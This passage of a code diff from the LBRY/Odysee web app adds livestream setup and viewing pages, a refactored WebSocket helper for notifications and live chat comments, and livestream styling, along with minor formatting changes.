||||
React.useEffect(() => {
|
||||
if (!activeChannelClaimStr) return;
|
||||
|
||||
const channelClaim = JSON.parse(activeChannelClaimStr);
|
||||
|
||||
Lbry.claim_search({
|
||||
channel_ids: [channelClaim.claim_id],
|
||||
any_tags: [LIVE_STREAM_TAG],
|
||||
claim_type: ['stream'],
|
||||
})
|
||||
.then((res) => {
|
||||
if (res && res.items && res.items.length > 0) {
|
||||
const claim = res.items[res.items.length - 1];
|
||||
setLivestreamClaim(claim);
|
||||
setLivestreamClaims(res.items.reverse());
|
||||
} else {
|
||||
setIsFetching(false);
|
||||
}
|
||||
})
|
||||
.catch(() => {
|
||||
setIsFetching(false);
|
||||
});
|
||||
}, [activeChannelClaimStr]);
|
||||
|
||||
return (
|
||||
<Page>
|
||||
{fetchingChannels && (
|
||||
<div className="main--empty">
|
||||
<Spinner delayed />
|
||||
</div>
|
||||
)}
|
||||
|
||||
{!fetchingChannels && !hasChannels && (
|
||||
<Yrbl
|
||||
type="happy"
|
||||
title={__("You haven't created a channel yet, let's fix that!")}
|
||||
actions={
|
||||
<div className="section__actions">
|
||||
<Button
|
||||
button="primary"
|
||||
navigate={`/$/${PAGES.CHANNEL_NEW}`}
|
||||
label={__('Create A Channel')}
|
||||
/>
|
||||
</div>
|
||||
}
|
||||
/>
|
||||
)}
|
||||
|
||||
{!fetchingChannels && activeChannelClaim && (
|
||||
<React.Fragment>
|
||||
{/* Channel Selector */}
|
||||
<ChannelSelector hideAnon />
|
||||
|
||||
{/* Display StreamKey */}
|
||||
{ streamKey
|
||||
? (<div>
|
||||
{/* Stream Server Address */}
|
||||
<FormField
|
||||
name={'livestreamServer'}
|
||||
label={'Stream Server'}
|
||||
type={'text'}
|
||||
defaultValue={'rtmp://stream.odysee.com/live'}
|
||||
readOnly
|
||||
/>
|
||||
|
||||
{/* Stream Key */}
|
||||
<FormField
|
||||
name={'livestreamKey'}
|
||||
label={'Stream Key'}
|
||||
type={'text'}
|
||||
defaultValue={streamKey}
|
||||
readOnly
|
||||
/>
|
||||
</div>)
|
||||
: (
|
||||
<div>
|
||||
<div style={{marginBottom: 'var(--spacing-l)'}}>
|
||||
{JSON.stringify(activeChannelClaim)}
|
||||
</div>
|
||||
{ sigData &&
|
||||
<div>
|
||||
{JSON.stringify(sigData)}
|
||||
</div>
|
||||
}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
{/* Stream Claim(s) */}
|
||||
{ livestreamClaim && livestreamClaims ? (
|
||||
<div style={{marginTop: 'var(--spacing-l)'}}>
|
||||
<h3>Your LiveStream Claims</h3>
|
||||
|
||||
{livestreamClaims.map(claim => (
|
||||
<ClaimPreview
|
||||
key={claim.uri}
|
||||
uri={claim.permanent_url}
|
||||
/>
|
||||
))}
|
||||
|
||||
{/*<h3>Your LiveStream Claims</h3>
|
||||
<ClaimPreview
|
||||
uri={livestreamClaim.permanent_url}
|
||||
/>*/}
|
||||
</div>
|
||||
) : (
|
||||
<div style={{marginTop: 'var(--spacing-l)'}}>
|
||||
<div>You must first publish a livestream claim before your stream will be visible!</div>
|
||||
|
||||
{/* Relies on https://github.com/lbryio/lbry-desktop/pull/5669 */}
|
||||
<Button
|
||||
button="primary"
|
||||
navigate={`/$/${PAGES.UPLOAD}?type=${PUBLISH_MODES.LIVESTREAM.toLowerCase()}`}
|
||||
label={__('Create A LiveStream')}
|
||||
/>
|
||||
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Debug Stuff */}
|
||||
{ streamKey && false && (
|
||||
<div style={{marginTop: 'var(--spacing-l)'}}>
|
||||
<h3>Debug Info</h3>
|
||||
|
||||
{/* Channel ID */}
|
||||
<FormField
|
||||
name={'channelId'}
|
||||
label={'Channel ID'}
|
||||
type={'text'}
|
||||
defaultValue={activeChannelClaim.claim_id}
|
||||
readOnly
|
||||
/>
|
||||
|
||||
{/* Signature */}
|
||||
<FormField
|
||||
name={'signature'}
|
||||
label={'Signature'}
|
||||
type={'text'}
|
||||
defaultValue={sigData.signature}
|
||||
readOnly
|
||||
/>
|
||||
|
||||
{/* Signature TS */}
|
||||
<FormField
|
||||
name={'signaturets'}
|
||||
label={'Signature Timestamp'}
|
||||
type={'text'}
|
||||
defaultValue={sigData.signing_ts}
|
||||
readOnly
|
||||
/>
|
||||
|
||||
{/* Hex Data */}
|
||||
<FormField
|
||||
name={'datahex'}
|
||||
label={'Hex Data'}
|
||||
type={'text'}
|
||||
defaultValue={toHex(activeChannelClaim.name)}
|
||||
readOnly
|
||||
/>
|
||||
|
||||
{/* Channel Public Key */}
|
||||
<FormField
|
||||
name={'channelpublickey'}
|
||||
label={'Public Key'}
|
||||
type={'text'}
|
||||
defaultValue={activeChannelClaim.value.public_key}
|
||||
readOnly
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
</React.Fragment>
|
||||
)}
|
||||
</Page>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { doResolveUri } from 'lbry-redux';
|
||||
import { doSetPlayingUri } from 'redux/actions/content';
|
||||
import { doUserSetReferrer } from 'redux/actions/user';
|
||||
import { selectUserVerifiedEmail } from 'redux/selectors/user';
|
||||
import { selectHasUnclaimedRefereeReward } from 'redux/selectors/rewards';
|
||||
import LivestreamPage from './view';
|
||||
|
||||
const select = (state) => ({
|
||||
hasUnclaimedRefereeReward: selectHasUnclaimedRefereeReward(state),
|
||||
isAuthenticated: selectUserVerifiedEmail(state),
|
||||
});
|
||||
|
||||
export default connect(select, {
|
||||
doSetPlayingUri,
|
||||
doResolveUri,
|
||||
doUserSetReferrer,
|
||||
})(LivestreamPage);
|
||||
@@ -0,0 +1,114 @@
|
||||
// @flow
|
||||
// import { LIVE_STREAM_TAG, BITWAVE_API } from 'constants/livestream';
|
||||
import React from 'react';
|
||||
import Page from 'component/page';
|
||||
import LivestreamLayout from 'component/livestreamLayout';
|
||||
import analytics from 'analytics';
|
||||
|
||||
type Props = {
|
||||
uri: string,
|
||||
claim: StreamClaim,
|
||||
doSetPlayingUri: ({ uri: ?string }) => void,
|
||||
isAuthenticated: boolean,
|
||||
doUserSetReferrer: (string) => void,
|
||||
};
|
||||
|
||||
export default function LivestreamPage(props: Props) {
|
||||
const { uri, claim, doSetPlayingUri, isAuthenticated, doUserSetReferrer } = props;
|
||||
const [activeViewers, setActiveViewers] = React.useState(0);
|
||||
|
||||
React.useEffect(() => {
|
||||
// function checkIsLive() {
|
||||
// fetch(`${BITWAVE_API}/`)
|
||||
// .then((res) => res.json())
|
||||
// .then((res) => {
|
||||
// if (!res || !res.data) {
|
||||
// setIsLive(false);
|
||||
// return;
|
||||
// }
|
||||
// setActiveViewers(res.data.viewCount);
|
||||
// if (res.data.live) {
|
||||
// setDisplayCountdown(false);
|
||||
// setIsLive(true);
|
||||
// setIsFetching(false);
|
||||
// return;
|
||||
// }
|
||||
// // Not live, but see if we can display the countdown;
|
||||
// const scheduledTime = res.data.scheduled;
|
||||
// if (scheduledTime) {
|
||||
// const scheduledDate = new Date(scheduledTime);
|
||||
// const lastLiveTimestamp = res.data.timestamp;
|
||||
// let isLivestreamOver = false;
|
||||
// if (lastLiveTimestamp) {
|
||||
// const timestampDate = new Date(lastLiveTimestamp);
|
||||
// isLivestreamOver = timestampDate.getTime() > scheduledDate.getTime();
|
||||
// }
|
||||
// if (isLivestreamOver) {
|
||||
// setDisplayCountdown(false);
|
||||
// setIsLive(false);
|
||||
// } else {
|
||||
// const datePlusTenMinuteBuffer = scheduledDate.setMinutes(10, 0, 0);
|
||||
// const isInFuture = Date.now() < datePlusTenMinuteBuffer;
|
||||
// if (isInFuture) {
|
||||
// setDisplayCountdown(true);
|
||||
// setIsLive(false);
|
||||
// } else {
|
||||
// setDisplayCountdown(false);
|
||||
// setIsLive(false);
|
||||
// }
|
||||
// }
|
||||
// setIsFetching(false);
|
||||
// } else {
|
||||
// // Offline and no countdown happening
|
||||
// setIsLive(false);
|
||||
// setDisplayCountdown(false);
|
||||
// setActiveViewers(0);
|
||||
// setIsFetching(false);
|
||||
// }
|
||||
// });
|
||||
// }
|
||||
// let interval;
|
||||
// checkIsLive();
|
||||
// if (uri) {
|
||||
// interval = setInterval(checkIsLive, 10000);
|
||||
// }
|
||||
// return () => {
|
||||
// if (interval) {
|
||||
// clearInterval(interval);
|
||||
// }
|
||||
// };
|
||||
}, [uri]);
|
||||
|
||||
const stringifiedClaim = JSON.stringify(claim);
|
||||
React.useEffect(() => {
|
||||
if (uri && stringifiedClaim) {
|
||||
const jsonClaim = JSON.parse(stringifiedClaim);
|
||||
|
||||
if (jsonClaim) {
|
||||
const { txid, nout, claim_id: claimId } = jsonClaim;
|
||||
const outpoint = `${txid}:${nout}`;
|
||||
|
||||
analytics.apiLogView(uri, outpoint, claimId);
|
||||
}
|
||||
|
||||
if (!isAuthenticated) {
|
||||
const uri = jsonClaim.signing_channel && jsonClaim.signing_channel.permanent_url;
|
||||
if (uri) {
|
||||
doUserSetReferrer(uri.replace('lbry://', ''));
|
||||
}
|
||||
}
|
||||
}
|
||||
}, [uri, stringifiedClaim, isAuthenticated]);
|
||||
|
||||
React.useEffect(() => {
|
||||
// Set playing uri to null so the popout player doesnt start playing the dummy claim if a user navigates back
|
||||
// This can be removed when we start using the app video player, not a bitwave iframe
|
||||
doSetPlayingUri({ uri: null });
|
||||
}, [doSetPlayingUri]);
|
||||
|
||||
return (
|
||||
<Page className="file-page" filePage livestream>
|
||||
<LivestreamLayout uri={uri} activeViewers={activeViewers} />
|
||||
</Page>
|
||||
);
|
||||
}
|
||||
@@ -1,6 +1,7 @@
|
||||
import { DOMAIN } from 'config';
|
||||
import { connect } from 'react-redux';
|
||||
import { PAGE_SIZE } from 'constants/claim';
|
||||
import { LIVE_STREAM_TAG } from 'constants/livestream';
|
||||
import {
|
||||
doResolveUri,
|
||||
makeSelectClaimForUri,
|
||||
@@ -10,6 +11,7 @@ import {
|
||||
normalizeURI,
|
||||
makeSelectClaimIsMine,
|
||||
makeSelectClaimIsPending,
|
||||
makeSelectTagInClaimOrChannelForUri,
|
||||
} from 'lbry-redux';
|
||||
import { makeSelectChannelInSubscriptions } from 'redux/selectors/subscriptions';
|
||||
import { selectBlackListedOutpoints } from 'lbryinc';
|
||||
@@ -60,11 +62,13 @@ const select = (state, props) => {
|
||||
title: makeSelectTitleForUri(uri)(state),
|
||||
claimIsMine: makeSelectClaimIsMine(uri)(state),
|
||||
claimIsPending: makeSelectClaimIsPending(uri)(state),
|
||||
// Change to !makeSelectClaimHasSource()
|
||||
isLivestream: makeSelectTagInClaimOrChannelForUri(uri, LIVE_STREAM_TAG)(state),
|
||||
};
|
||||
};
|
||||
|
||||
const perform = dispatch => ({
|
||||
resolveUri: uri => dispatch(doResolveUri(uri)),
|
||||
const perform = (dispatch) => ({
|
||||
resolveUri: (uri) => dispatch(doResolveUri(uri)),
|
||||
});
|
||||
|
||||
export default connect(select, perform)(ShowPage);
|
||||
@@ -5,6 +5,7 @@ import { Redirect } from 'react-router-dom';
|
||||
import Spinner from 'component/spinner';
|
||||
import ChannelPage from 'page/channel';
|
||||
import FilePage from 'page/file';
|
||||
import LivestreamPage from 'page/livestreamStream';
|
||||
import Page from 'component/page';
|
||||
import Button from 'component/button';
|
||||
import Card from 'component/common/card';
|
||||
@@ -25,6 +26,7 @@ type Props = {
|
||||
title: string,
|
||||
claimIsMine: boolean,
|
||||
claimIsPending: boolean,
|
||||
isLivestream: boolean,
|
||||
};
|
||||
|
||||
function ShowPage(props: Props) {
|
||||
@@ -38,6 +40,7 @@ function ShowPage(props: Props) {
|
||||
claimIsMine,
|
||||
isSubscribed,
|
||||
claimIsPending,
|
||||
isLivestream,
|
||||
} = props;
|
||||
|
||||
const signingChannel = claim && claim.signing_channel;
|
||||
@@ -119,6 +122,10 @@ function ShowPage(props: Props) {
|
||||
/>
|
||||
</Page>
|
||||
);
|
||||
}
|
||||
|
||||
if (isLivestream) {
|
||||
innerContent = <LivestreamPage uri={uri} />;
|
||||
} else {
|
||||
innerContent = <FilePage uri={uri} location={location} />;
|
||||
}
|
||||
|
||||
+22
-22
@@ -55,7 +55,7 @@ import { doAuthenticate } from 'redux/actions/user';
|
||||
import { lbrySettings as config, version as appVersion } from 'package.json';
|
||||
import analytics, { SHARE_INTERNAL } from 'analytics';
|
||||
import { doSignOutCleanup } from 'util/saved-passwords';
|
||||
import { doSocketConnect } from 'redux/actions/websocket';
|
||||
import { doNotificationSocketConnect } from 'redux/actions/websocket';
|
||||
import { stringifyServerParam, shouldSetSetting } from 'util/sync-settings';
|
||||
|
||||
// @if TARGET='app'
|
||||
@@ -115,10 +115,10 @@ export function doDownloadUpgrade() {
|
||||
const upgradeFilename = selectUpgradeFilename(state);
|
||||
|
||||
const options = {
|
||||
onProgress: p => dispatch(doUpdateDownloadProgress(Math.round(p * 100))),
|
||||
onProgress: (p) => dispatch(doUpdateDownloadProgress(Math.round(p * 100))),
|
||||
directory: dir,
|
||||
};
|
||||
download(remote.getCurrentWindow(), selectUpdateUrl(state), options).then(downloadItem => {
|
||||
download(remote.getCurrentWindow(), selectUpdateUrl(state), options).then((downloadItem) => {
|
||||
/**
|
||||
* TODO: get the download path directly from the download object. It should just be
|
||||
* downloadItem.getSavePath(), but the copy on the main process is being garbage collected
|
||||
@@ -149,7 +149,7 @@ export function doDownloadUpgradeRequested() {
|
||||
// This will probably be reorganized once we get auto-update going on Linux and remove
|
||||
// the old logic.
|
||||
|
||||
return dispatch => {
|
||||
return (dispatch) => {
|
||||
if (['win32', 'darwin'].includes(process.platform) || !!process.env.APPIMAGE) {
|
||||
// electron-updater behavior
|
||||
dispatch(doOpenModal(MODALS.AUTO_UPDATE_DOWNLOADED));
|
||||
@@ -174,7 +174,7 @@ export function doClearUpgradeTimer() {
|
||||
}
|
||||
|
||||
export function doAutoUpdate() {
|
||||
return dispatch => {
|
||||
return (dispatch) => {
|
||||
dispatch({
|
||||
type: ACTIONS.AUTO_UPDATE_DOWNLOADED,
|
||||
});
|
||||
@@ -186,7 +186,7 @@ export function doAutoUpdate() {
|
||||
}
|
||||
|
||||
export function doAutoUpdateDeclined() {
|
||||
return dispatch => {
|
||||
return (dispatch) => {
|
||||
dispatch(doClearUpgradeTimer());
|
||||
|
||||
dispatch({
|
||||
@@ -267,7 +267,7 @@ export function doCheckUpgradeAvailable() {
|
||||
Initiate a timer that will check for an app upgrade every 10 minutes.
|
||||
*/
|
||||
export function doCheckUpgradeSubscribe() {
|
||||
return dispatch => {
|
||||
return (dispatch) => {
|
||||
const checkUpgradeTimer = setInterval(() => dispatch(doCheckUpgradeAvailable()), CHECK_UPGRADE_INTERVAL);
|
||||
dispatch({
|
||||
type: ACTIONS.CHECK_UPGRADE_SUBSCRIBE,
|
||||
@@ -277,7 +277,7 @@ export function doCheckUpgradeSubscribe() {
|
||||
}
|
||||
|
||||
export function doCheckDaemonVersion() {
|
||||
return dispatch => {
|
||||
return (dispatch) => {
|
||||
// @if TARGET='app'
|
||||
Lbry.version().then(({ lbrynet_version: lbrynetVersion }) => {
|
||||
// Avoid the incompatible daemon modal if running in dev mode
|
||||
@@ -305,31 +305,31 @@ export function doCheckDaemonVersion() {
|
||||
}
|
||||
|
||||
export function doNotifyEncryptWallet() {
|
||||
return dispatch => {
|
||||
return (dispatch) => {
|
||||
dispatch(doOpenModal(MODALS.WALLET_ENCRYPT));
|
||||
};
|
||||
}
|
||||
|
||||
export function doNotifyDecryptWallet() {
|
||||
return dispatch => {
|
||||
return (dispatch) => {
|
||||
dispatch(doOpenModal(MODALS.WALLET_DECRYPT));
|
||||
};
|
||||
}
|
||||
|
||||
export function doNotifyUnlockWallet() {
|
||||
return dispatch => {
|
||||
return (dispatch) => {
|
||||
dispatch(doOpenModal(MODALS.WALLET_UNLOCK));
|
||||
};
|
||||
}
|
||||
|
||||
export function doNotifyForgetPassword(props) {
|
||||
return dispatch => {
|
||||
return (dispatch) => {
|
||||
dispatch(doOpenModal(MODALS.WALLET_PASSWORD_UNSAVE, props));
|
||||
};
|
||||
}
|
||||
|
||||
export function doAlertError(errorList) {
|
||||
return dispatch => {
|
||||
return (dispatch) => {
|
||||
dispatch(doError(errorList));
|
||||
};
|
||||
}
|
||||
@@ -364,7 +364,7 @@ export function doDaemonReady() {
|
||||
undefined,
|
||||
undefined,
|
||||
shareUsageData,
|
||||
status => {
|
||||
(status) => {
|
||||
const trendingAlgorithm =
|
||||
status &&
|
||||
status.wallet &&
|
||||
@@ -397,7 +397,7 @@ export function doDaemonReady() {
|
||||
}
|
||||
|
||||
export function doClearCache() {
|
||||
return dispatch => {
|
||||
return (dispatch) => {
|
||||
// Need to update this to work with new version of redux-persist
|
||||
// Leaving for now
|
||||
// const reducersToClear = whiteListedReducers.filter(reducerKey => reducerKey !== 'tags');
|
||||
@@ -418,7 +418,7 @@ export function doQuit() {
|
||||
}
|
||||
|
||||
export function doQuitAnyDaemon() {
|
||||
return dispatch => {
|
||||
return (dispatch) => {
|
||||
// @if TARGET='app'
|
||||
Lbry.stop()
|
||||
.catch(() => {
|
||||
@@ -440,7 +440,7 @@ export function doQuitAnyDaemon() {
|
||||
}
|
||||
|
||||
export function doChangeVolume(volume) {
|
||||
return dispatch => {
|
||||
return (dispatch) => {
|
||||
dispatch({
|
||||
type: ACTIONS.VOLUME_CHANGED,
|
||||
data: {
|
||||
@@ -451,7 +451,7 @@ export function doChangeVolume(volume) {
|
||||
}
|
||||
|
||||
export function doChangeMute(muted) {
|
||||
return dispatch => {
|
||||
return (dispatch) => {
|
||||
dispatch({
|
||||
type: ACTIONS.VOLUME_MUTED,
|
||||
data: {
|
||||
@@ -528,7 +528,7 @@ export function doAnalyticsTagSync() {
|
||||
}
|
||||
|
||||
export function doAnaltyicsPurchaseEvent(fileInfo) {
|
||||
return dispatch => {
|
||||
return (dispatch) => {
|
||||
let purchasePrice = fileInfo.purchase_receipt && fileInfo.purchase_receipt.amount;
|
||||
if (purchasePrice) {
|
||||
const purchaseInt = Number(Number(purchasePrice).toFixed(0));
|
||||
@@ -544,7 +544,7 @@ export function doSignIn() {
|
||||
const notificationsEnabled = user.experimental_ui;
|
||||
|
||||
if (notificationsEnabled) {
|
||||
dispatch(doSocketConnect());
|
||||
dispatch(doNotificationSocketConnect());
|
||||
dispatch(doNotificationList());
|
||||
}
|
||||
|
||||
@@ -667,7 +667,7 @@ export function doGetAndPopulatePreferences() {
|
||||
}
|
||||
|
||||
export function doHandleSyncComplete(error, hasNewData) {
|
||||
return dispatch => {
|
||||
return (dispatch) => {
|
||||
if (!error) {
|
||||
dispatch(doGetAndPopulatePreferences());
|
||||
|
||||
@@ -680,7 +680,7 @@ export function doHandleSyncComplete(error, hasNewData) {
|
||||
}
|
||||
|
||||
export function doSyncWithPreferences() {
|
||||
return dispatch => dispatch(doSyncLoop());
|
||||
return (dispatch) => dispatch(doSyncLoop());
|
||||
}
|
||||
|
||||
export function doToggleInterestedInYoutubeSync() {
|
||||
|
||||
@@ -2,44 +2,34 @@ import * as ACTIONS from 'constants/action_types';
|
||||
import { getAuthToken } from 'util/saved-passwords';
|
||||
import { doNotificationList } from 'redux/actions/notifications';
|
||||
|
||||
let socket = null;
|
||||
let sockets = {};
|
||||
let retryCount = 0;
|
||||
|
||||
export const doSocketConnect = () => dispatch => {
|
||||
const authToken = getAuthToken();
|
||||
if (!authToken) {
|
||||
console.error('Unable to connect to web socket because auth token is missing'); // eslint-disable-line
|
||||
return;
|
||||
}
|
||||
|
||||
export const doSocketConnect = (url, cb) => {
|
||||
function connectToSocket() {
|
||||
if (socket !== null) {
|
||||
socket.close();
|
||||
socket = null;
|
||||
if (sockets[url] !== undefined && sockets[url] !== null) {
|
||||
sockets[url].close();
|
||||
sockets[url] = null;
|
||||
}
|
||||
|
||||
const timeToWait = retryCount ** 2 * 1000;
|
||||
setTimeout(() => {
|
||||
const url = `wss://api.lbry.com/subscribe?auth_token=${authToken}`;
|
||||
socket = new WebSocket(url);
|
||||
socket.onopen = e => {
|
||||
sockets[url] = new WebSocket(url);
|
||||
sockets[url].onopen = (e) => {
|
||||
retryCount = 0;
|
||||
console.log('\nConnected to WS \n\n'); // eslint-disable-line
|
||||
};
|
||||
socket.onmessage = e => {
|
||||
sockets[url].onmessage = (e) => {
|
||||
const data = JSON.parse(e.data);
|
||||
|
||||
if (data.type === 'pending_notification') {
|
||||
dispatch(doNotificationList());
|
||||
}
|
||||
cb(data);
|
||||
};
|
||||
|
||||
socket.onerror = e => {
|
||||
sockets[url].onerror = (e) => {
|
||||
console.error('websocket onerror', e); // eslint-disable-line
|
||||
// onerror and onclose will both fire, so nothing is needed here
|
||||
};
|
||||
|
||||
socket.onclose = e => {
|
||||
sockets[url].onclose = (e) => {
|
||||
console.error('websocket onclose', e); // eslint-disable-line
|
||||
retryCount += 1;
|
||||
connectToSocket();
|
||||
@@ -50,6 +40,35 @@ export const doSocketConnect = () => dispatch => {
|
||||
connectToSocket();
|
||||
};
|
||||
|
||||
export const doNotificationSocketConnect = () => (dispatch) => {
|
||||
const authToken = getAuthToken();
|
||||
if (!authToken) {
|
||||
console.error('Unable to connect to web socket because auth token is missing'); // eslint-disable-line
|
||||
return;
|
||||
}
|
||||
|
||||
const url = `wss://api.lbry.com/subscribe?auth_token=${authToken}`;
|
||||
doSocketConnect(url, (data) => {
|
||||
if (data.type === 'pending_notification') {
|
||||
dispatch(doNotificationList());
|
||||
}
|
||||
});
|
||||
};
|
||||
|
||||
export const doCommentSocketConnect = (claimId) => (dispatch) => {
|
||||
const url = `wss://comments.lbry.com/api/v2/live-chat/subscribe?subscription_id=${claimId}`;
|
||||
|
||||
doSocketConnect(url, (response) => {
|
||||
if (response.type === 'delta') {
|
||||
const newComment = response.data.comment;
|
||||
dispatch({
|
||||
type: ACTIONS.COMMENT_RECEIVED,
|
||||
data: { comment: newComment, claimId },
|
||||
});
|
||||
}
|
||||
});
|
||||
};
|
||||
|
||||
export const doSocketDisconnect = () => ({
|
||||
type: ACTIONS.WS_DISCONNECT,
|
||||
});
|
||||
@@ -28,6 +28,7 @@
|
||||
@import 'component/form-field';
|
||||
@import 'component/header';
|
||||
@import 'component/icon';
|
||||
@import 'component/livestream';
|
||||
@import 'component/main';
|
||||
@import 'component/markdown-editor';
|
||||
@import 'component/markdown-preview';
|
||||
|
||||
@@ -231,6 +231,11 @@
|
||||
border: 1px solid var(--color-border);
|
||||
}
|
||||
|
||||
.button--emoji {
|
||||
font-size: 1.25rem;
|
||||
border-radius: 3rem;
|
||||
}
|
||||
|
||||
.button__content {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
|
||||
@@ -263,12 +263,15 @@ $metadata-z-index: 1;
|
||||
.menu__list.channel__list {
|
||||
margin-top: var(--spacing-xs);
|
||||
margin-left: 0;
|
||||
padding: 0;
|
||||
border-radius: var(--border-radius);
|
||||
background: transparent;
|
||||
max-height: 15rem;
|
||||
overflow-y: scroll;
|
||||
|
||||
[role='menuitem'] {
|
||||
margin: 0;
|
||||
|
||||
&[data-selected] {
|
||||
background: transparent;
|
||||
.channel__list-item {
|
||||
|
||||
@@ -0,0 +1,198 @@
|
||||
.livestream {
|
||||
flex: 1;
|
||||
width: 100%;
|
||||
padding-top: var(--aspect-ratio-standard);
|
||||
position: relative;
|
||||
border-radius: var(--border-radius);
|
||||
|
||||
iframe {
|
||||
overflow: hidden;
|
||||
border-radius: var(--border-radius);
|
||||
height: 100%;
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
bottom: 0;
|
||||
}
|
||||
}
|
||||
|
||||
.livestream__discussion {
|
||||
min-height: 0%;
|
||||
width: 100%;
|
||||
margin-top: var(--spacing-m);
|
||||
|
||||
@media (min-width: $breakpoint-small) {
|
||||
width: 35rem;
|
||||
margin-left: var(--spacing-m);
|
||||
margin-top: 0;
|
||||
}
|
||||
}
|
||||
|
||||
.livestream__comments-wrapper {
|
||||
overflow-y: scroll;
|
||||
}
|
||||
|
||||
.livestream__comments-wrapper--with-height {
|
||||
height: 40vh;
|
||||
}
|
||||
|
||||
.livestream__comments {
|
||||
display: flex;
|
||||
flex-direction: column-reverse;
|
||||
font-size: var(--font-small);
|
||||
}
|
||||
|
||||
.livestream__comment {
|
||||
margin-top: var(--spacing-s);
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
|
||||
> :first-child {
|
||||
margin-right: var(--spacing-s);
|
||||
}
|
||||
}
|
||||
|
||||
.livestream__comment-author {
|
||||
font-weight: var(--font-weight-bold);
|
||||
color: #888;
|
||||
}
|
||||
|
||||
.livestream__comment-author--streamer {
|
||||
color: var(--color-primary);
|
||||
}
|
||||
|
||||
.livestream__comment-create {
|
||||
margin-top: var(--spacing-s);
|
||||
}
|
||||
|
||||
.livestream__channel-link {
|
||||
margin-bottom: var(--spacing-xl);
|
||||
box-shadow: 0 0 0 rgba(246, 72, 83, 0.4);
|
||||
animation: livePulse 2s infinite;
|
||||
|
||||
&:hover {
|
||||
cursor: pointer;
|
||||
}
|
||||
}
|
||||
|
||||
@keyframes livePulse {
|
||||
0% {
|
||||
box-shadow: 0 0 0 0 rgba(246, 72, 83, 0.4);
|
||||
}
|
||||
70% {
|
||||
box-shadow: 0 0 0 10px rgba(246, 72, 83, 0);
|
||||
}
|
||||
100% {
|
||||
box-shadow: 0 0 0 0 rgba(246, 72, 83, 0);
|
||||
}
|
||||
}
|
||||
|
||||
.livestream__publish-checkbox {
|
||||
margin: var(--spacing-l) 0;
|
||||
|
||||
.checkbox,
|
||||
.radio {
|
||||
margin-top: var(--spacing-m);
|
||||
|
||||
label {
|
||||
color: #444;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
.livestream__creator-message {
|
||||
background-color: #fde68a;
|
||||
padding: var(--spacing-m);
|
||||
color: black;
|
||||
border-radius: var(--border-radius);
|
||||
|
||||
h4 {
|
||||
font-weight: bold;
|
||||
font-size: var(--font-small);
|
||||
margin-bottom: var(--spacing-s);
|
||||
}
|
||||
}
|
||||
|
||||
.livestream__emoji-actions {
|
||||
margin-bottom: var(--spacing-m);
|
||||
|
||||
> *:not(:last-child) {
|
||||
margin-right: var(--spacing-s);
|
||||
}
|
||||
}
|
||||
|
||||
.livestream__embed-page {
|
||||
display: flex;
|
||||
|
||||
.file-viewer {
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
bottom: 0;
|
||||
|
||||
iframe {
|
||||
max-height: none;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
.livestream__embed-wrapper {
|
||||
height: 100vh;
|
||||
width: 100vw;
|
||||
position: relative;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
background-color: #000000;
|
||||
|
||||
.livestream {
|
||||
margin-top: auto;
|
||||
margin-bottom: auto;
|
||||
}
|
||||
}
|
||||
|
||||
.livestream__embed-countdown {
|
||||
@extend .livestream__embed-wrapper;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
.livestream__embed {
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
bottom: 0;
|
||||
height: 100vh;
|
||||
width: 100vw;
|
||||
}
|
||||
|
||||
.livestream__embed-comments {
|
||||
width: 30vw;
|
||||
height: 100vh;
|
||||
display: none;
|
||||
|
||||
.livestream__discussion {
|
||||
height: 100vh;
|
||||
margin-left: 0;
|
||||
}
|
||||
|
||||
.card {
|
||||
border-radius: 0;
|
||||
}
|
||||
|
||||
.card__main-actions {
|
||||
height: 100%;
|
||||
width: 30vw;
|
||||
}
|
||||
|
||||
.livestream__comments-wrapper--with-height {
|
||||
height: calc(100% - 200px - (var(--spacing-l)));
|
||||
}
|
||||
|
||||
@media (min-width: $breakpoint-small) {
|
||||
display: inline-block;
|
||||
}
|
||||
}
|
||||
@@ -169,6 +169,10 @@
|
||||
}
|
||||
}
|
||||
|
||||
.main--livestream {
|
||||
margin-top: var(--spacing-m);
|
||||
}
|
||||
|
||||
.main--full-width {
|
||||
@extend .main;
|
||||
|
||||
|
||||
@@ -426,8 +426,3 @@ textarea {
|
||||
height: 5rem;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.release__notes {
|
||||
max-height: 50vh;
|
||||
overflow: scroll;
|
||||
}
|
||||
@@ -11,7 +11,7 @@ export const STATUS_DEGRADED = 'degraded';
|
||||
export const STATUS_FAILING = 'failing';
|
||||
export const STATUS_DOWN = 'down';
|
||||
|
||||
const getParams = (user) => {
|
||||
const getParams = user => {
|
||||
const headers = {};
|
||||
const token = getAuthToken();
|
||||
if (token && user.has_verified_email) {
|
||||
@@ -31,8 +31,8 @@ export function useDegradedPerformance(onDegradedPerformanceCallback, user) {
|
||||
const STATUS_ENDPOINT = `${SDK_API_PATH}/status`.replace('v1', 'v2');
|
||||
|
||||
fetchWithTimeout(STATUS_TIMEOUT_LIMIT, fetch(STATUS_ENDPOINT, getParams(user)))
|
||||
.then((response) => response.json())
|
||||
.then((status) => {
|
||||
.then(response => response.json())
|
||||
.then(status => {
|
||||
if (status.general_state !== STATUS_OK) {
|
||||
onDegradedPerformanceCallback(STATUS_FAILING);
|
||||
}
|
||||
|
||||
@@ -147,4 +147,4 @@ const webConfig = {
|
||||
plugins,
|
||||
};
|
||||
|
||||
module.exports = merge(baseConfig, webConfig);
|
||||
